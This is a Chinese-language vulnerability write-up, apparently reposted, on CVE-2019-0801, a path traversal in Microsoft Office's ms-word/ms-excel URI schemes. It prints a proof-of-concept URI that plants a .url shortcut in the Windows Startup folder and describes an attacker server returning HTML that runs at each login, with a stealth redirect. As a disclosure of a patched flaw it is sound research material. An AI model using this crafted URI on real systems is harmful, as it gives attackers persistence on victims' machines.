Microsoft Office中URI劫持漏洞所导致的目录穿越

作者:深信服科技股份有限公司广州办事处 | 国际 2019/09/26 16:12:37 324
系统安全
文章来源:https://nosec.org/home/detail/2991.html

       2018年12月,我们收到了Andrea Micalizzi关于微软Office的漏洞报告。在确认漏洞存在后,被标记为CVE-2019-0801,且微软于今年4月发布了漏洞补丁。现在就和大家分享一下漏洞细节。

       关于Microsoft Office,有一个隐藏的细节,就是安装时它会用各种URI schemes执行各种操作,想了解细节可以点击这里。利用这些URI schemes,你可以从浏览器中启动Office程序。而在这其中,我们发现了以下特殊的URI schemes:

ms-word:ofe|u|<argument>
ms-excel:ofe|u|<argument>
ms-powerpoint:ofe|u|<argument>


       命令ofe会指示浏览器打开一个Office文档进行编辑,命令ofv的意思是“打开文档进行查看”,这两者工作原理都是一样的。而参数<argument>是一个和Office文档相关联的URI,通常情况包含http:或https:,代表从远程web服务器获取文档。


       例如,以下URI将打开从example.com获取的Word文档:
       ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx

       当浏览器打开以上链接时,浏览器将首先警告正在打开外部程序。例如在Internet Explorer中,警告如下:

455dbba17df285d785248470c4332884.png

       如果用户点击Allow,那么Microsoft Word将启动,并从指定网站 example.com 获取文件,以随机字母命名,再将其保存在一个名为 %LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\ 的临时文件夹中,其中xxxx是四个随机十六进制数字,最后打开文档进行编辑。

       而在整个流程中,我们感兴趣的是其中涉及的一些额外文件操作。除了保存上述文档的临时副本外,Office程序还将创建两个链接文件,作用是将该文档标记为用户“最近打开的文档”,具体如下所示。由于这个文档的原始位置是在互联网中,因此Office将创建互联网快捷方式(.url)文件:

[InternetShortcut]
URL= http://example.com/SomePath/SomeDoc.docx
Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.url
[InternetShortcut]
URL= http://example.com/SomePath/
Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url


       如上所见,第一个快捷方式指向互联网上的文档位置,第二个快捷方式指向文件的路径。每个.url文件都有一个描述性的名称,例如第一个文件为SomeDoc.docx.url。

       但是,若原始URL中的文件名后面跟有查询字符串时,就会出现问题。在这种情况下,当Microsoft Office为.url文件命名时,它将尝试将整个查询字符串合并到文件名中。例如,如果是以下URI:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm


       Office将尝试创建文件 C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm.url 。但是,Windows不允许?出现在文件名中,所以这个操作会失败。

       那么,如果我们在查询字符串中放入一些目录遍历字符呢?

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah

       在这种情况下,Office理论上的产生的文件路径为 C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url 。对于这种路径,操作系统是认可的,因为目录遍历消除了无效的问号,最后得到的文件为 C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url 。

       不过,既然目录遍历符号可以生效,那么我们就能控制文件的位置。先让我们尝试把文件放入系统开机启动文件夹 C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 。要到放入这个位置,我们只需要翻越两级目录即可 C:\Users\<username>\AppData\Roaming\Microsoft 。

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?\..\..\..\Windows\Start Menu\Programs\Startup\w00t


       最后我们成功创建文件 C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w00t.url 。每次用户登录时都会自动运行该快捷方式文件。请注意,攻击者甚至不需要获得受害者的Windows用户名就可以构造此PoC。

影响
       这种漏洞的最终影响尚不清楚,其中每次开机所触发的.url文件只是指向最初加载的原始Office文档。

       不过,通过更加仔细地研究,我意识到,每次登录时请求的URI在指向攻击者服务器的情况下是不受任何限制,即使请求的是Office文档,但服务器仍然可以回复任何类型的文件内容。例如,攻击者可以用HTML文档作为响应:

9c64c5395535ae7a63a3980620c4244e.png

       在这种情况下,每次用户登录时都会自动运行HTML文档。这种攻击最直接的体现就是广告软件和恐吓软件。当然,更具危害的是,攻击者可以知晓受害者每次登录系统的时间。为了更好地潜伏,可以使用重定向到无害的页面,如about:blank。

结论
       微软在4月份的发布的安全补丁修补了这个漏洞,他们给了这个漏洞最高的可用性评级。无论是经验丰富的攻击者还是初入行的新手,都能利用这种漏洞。

       需要注意,在Office中的这种类似漏洞往往可以用来规避反病毒软件和其他安全限制。最近就出现了往Office文档中嵌入FPX图像进行攻击的新闻

如果你想了解更多,可以通过推特联系 @HexKitchen

推荐关注

指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室